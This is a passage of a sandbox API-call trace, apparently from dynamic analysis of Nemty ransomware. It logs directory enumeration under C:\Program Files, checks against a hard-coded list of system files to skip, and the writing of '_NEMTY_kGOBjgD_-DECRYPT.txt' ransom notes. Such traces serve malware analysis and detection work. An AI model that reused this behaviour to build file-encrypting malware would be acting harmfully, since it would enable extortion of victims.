lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0099.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0099.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.449] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\msbuild\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.449] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.449] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.450] CloseHandle (hObject=0x3c0) returned 1 [0099.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0099.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0099.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeee9c0f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeee9c0f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0099.451] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.451] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeee9c0f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeee9c0f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.451] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.451] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.451] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="...") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="$RECYCLE.BIN") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="rsa") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="NTDETECT.COM") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="ntldr") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="MSDOS.SYS") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="IO.SYS") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="boot.ini") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="boot.ini") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="AUTOEXEC.BAT") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="desktop.ini") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="CONFIG.SYS") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="RECYCLER") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="BOOTSECT.BAK") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="programdata") returned -1 [0099.451] lstrcmpiW (lpString1="Microsoft", lpString2="appdata") returned 1 [0099.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft", lpUsedDefaultChar=0x0) returned 9 [0099.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.451] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee9c0f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeee9c0f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeec2250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.451] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.451] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.452] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0099.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345ec8 [0099.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345ec8 | out: hHeap=0x4f90000) returned 1 [0099.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0099.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0099.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0099.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0099.453] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.453] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0099.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f916e8 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.453] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee9c0f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeee9c0f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeec2250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.453] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0099.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.453] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbdae9ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbdae9ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="...") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="windows") returned -1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="$RECYCLE.BIN") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="rsa") returned -1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="NTDETECT.COM") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ntldr") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="MSDOS.SYS") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="IO.SYS") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="boot.ini") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="boot.ini") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="AUTOEXEC.BAT") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ntuser.dat") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="desktop.ini") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="CONFIG.SYS") returned 1 [0099.453] lstrcmpiW (lpString1="Reference Assemblies", lpString2="RECYCLER") returned 1 [0099.454] lstrcmpiW (lpString1="Reference Assemblies", lpString2="BOOTSECT.BAK") returned 1 [0099.454] lstrcmpiW (lpString1="Reference Assemblies", lpString2="bootmgr") returned 1 [0099.454] lstrcmpiW (lpString1="Reference Assemblies", lpString2="programdata") returned 1 [0099.454] lstrcmpiW (lpString1="Reference Assemblies", lpString2="appdata") returned 1 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reference Assemblies", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reference Assemblies", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reference Assemblies", lpUsedDefaultChar=0x0) returned 20 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reference Assemblies", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reference Assemblies", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reference Assemblies", lpUsedDefaultChar=0x0) returned 20 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.454] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\reference assemblies\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.456] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.456] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0099.457] CloseHandle (hObject=0x3c0) returned 1 [0099.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0099.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.458] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\reference assemblies\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.458] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.458] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.459] CloseHandle (hObject=0x3c0) returned 1 [0099.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeeec2250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeec2250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0099.459] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.459] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeeec2250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeec2250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.460] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.460] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.460] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, 